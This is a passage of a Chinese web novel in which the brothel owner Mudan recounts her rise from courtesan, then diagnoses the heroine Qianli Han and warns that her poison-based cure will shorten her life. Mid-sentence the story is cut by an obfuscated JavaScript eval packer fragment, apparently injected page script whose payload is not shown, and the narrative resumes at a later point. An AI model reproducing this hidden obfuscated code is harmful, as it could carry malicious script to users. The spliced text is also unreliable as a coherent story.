千里撼一愣,笑起来,默默环住她。 牡丹问道:“我听小扇子说你是魏人,不过听说大魏如今也乱了。” “是。” “罢了,你们那些事我也不明白。不过小扇子他是魏人,毕生梦想就是回到大魏,若你有能耐,日后有机会带他回大魏生活就最好了。” “那你呢,”千里撼问道,“你也是魏人吧,想回去吗?” 牡丹两手拄在榻上神游,“我想要的可比他多着呢。你知道金贯吗?” “金贯?”千里撼摇摇头。 “看来你也不记得,”牡丹笑了下解释道,“金贯,是阇罗斯丹本来的名字。我小时候,这里就叫金贯州,只是后来被划给北疆后就不这么叫了。其实这个卧仙阁里半数都是魏人,没一个不想家的,虽然话里话外都在骂,可不管怎么说都是家好啊。小扇子他年纪小,父母都是因为战乱来的阇罗斯丹,可我不是,我还记得它叫金贯的样子。” “所以我想要的比他大一点、多一点,”她看向千里撼笑道,“我想要金贯回到大魏,我想带所有人回家。” “说来也不怕你笑话,今天来你也看到我们是做什么生意的了。之所以要芍药接你们就是怕你们走偏,看见什么腌臜东西,可一见你知道是见多识广的。” 千里撼皱了皱眉,一记闷拳打在她心口,针扎似的疼,她有些不知所措,问了个蠢到没边儿的问题,“为什么这个世界会有伎女?” 牡丹望向她,指尖拂过脸颊为千里撼擦掉一滴连她自己都不知道的泪,“会诧异也正常。你是魏人啊,女尊男卑,哪像这边。我自小父母双亡,后被卖做倡伎,那时候也不懂这些,只想要口饭吃便走上了这条路。可我不想永远这样活着,于是十七岁那年我挤掉老鸨成为春风楼的新老鸨,后来将这里改名卧仙阁,大家也开始叫我老板。自那之后我收留了许多吃不饱饭的女子,还亲手捧出了四大花魁的招牌。” “你知道吗,”牡丹看向千里撼,带着自豪的笑容,“在我之前阇罗斯丹是没有雅伎的,但我来了,于是就有女孩可以选择卖艺不卖身。每每困顿之时,只要想到这些我就会笑起来,当初杀掉老鸨是对的。” 千里撼握住她的手,“你很厉害,非常出色。” “是的,我知道。”牡丹反握住她的手笑起来,“我靠着四大花魁的招牌赚了许多钱,又养活了戏班,叫她们日日来楼中免费唱戏招揽客人,凭一己之力打出卧仙阁的名声,让阇州终于有了一块魏人的位置。你瞧这偌大的卧仙阁,分明我七岁那年还只是个二层小酒馆,如今却这样气派。” 千里撼听着,心中替她高兴,她忽然好想看看这个人,于是指尖抚上牡丹脸颊。 牡丹倒也大方,将她手掌贴上脸颊,“如何,你要给我相相面,看有没有大富大贵的命?” “不是,”千里撼笑道,“是想沾沾你的霸气,叫我日后也能有如你一般的能耐。” “哈哈哈哈!”牡丹爽朗笑起来,“你真有意思,我都有点喜欢你了。来吧,时候不早了,脱了衣裳我为你诊治。” “啊?”千里撼有些诧异,“你还真会治病啊?” “当然了,”她掏出药箱道,“做我这行,若没有医术傍身早稀里糊涂的死了,怎么活到现在。” 千里撼乖乖脱下衣裳任凭牡丹摆布,“是谁教你的呢,蝴蝶姐也会医术,你们都会吗?” “蝴蝶的医术是我教她的。这要看天赋,我又刚好识字,闲时便钻研医书,慢慢就会了。本来想着用这一身本事好歹能给楼里女子瞧瞧病,不想竟学的这样好,都快成名医了。”她摸上千里撼手腕打趣道。 “这样啊。” 牡丹安静下来,温暖的指尖搭在脉搏上,千里撼的血液流动很慢,指尖按上去像一条窄窄河流,要等很久会才有竹筏飘过。她皱起眉头,愈发安静,手上力道加重,在千里撼胸前有一个黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“好吧,”千里撼道,“那我要怎么办,先找他施针还是……” “你先别急着找他,我还没和你说完呢。”牡丹叹息一声,“陆姑娘,你今年多大?” “虚岁二十三。” “陆姑娘,以毒攻毒是有代价的。你现在身体里已经有两种毒素,我再加进去第三种,就算它们三者相互克制达到制衡,可没人能做保证,长年累月下去你非七窍流血不可。” “牡丹,我没得选。” 千里撼用手掌轻轻盖在眼上又拿开,“这双眼睛,这两条腿,都比我的命还重要。我能感觉得到自己一身功夫正在悄悄消失,可我还有没做完的事,没兑现的承诺,所以你直接告诉我会有什么后果。” “会折寿。”牡丹声音浅浅,却很沉重,“用了这个方法,你绝对活不过三十五岁。” “可我不用,说不定明天就会死。” 千里撼接过话,摸索着抓住牡丹的手安慰她,“牡丹,我想赌一把。如果非要这样苟延喘那我宁可明天就死,可我还贪心,我不想死。哪怕活不过三十五岁,但这往后十几年,我觉得值了。” 牡丹不语,将头偏向一边。 千里撼:“我承诺过要让戏扇幸福,也承诺过别人会回去找她。如今我再向你夸下海口,给我十几年,你的愿望我替你实现,好吗?” “什么,”牡丹看向她,眼中满是诧异,“你究竟是什么人?” “我是什么人不重要,重要的是我对你的承诺。牡丹,我会让你明白这十几年能有多么的值得,会换来什么。” 牡丹垂下眼眸,腰上的玉佩压的她腿痛,上头隐隐约约的‘城’字像一盏灯。她看向千里撼,张了张口,哑声道,“我帮你。”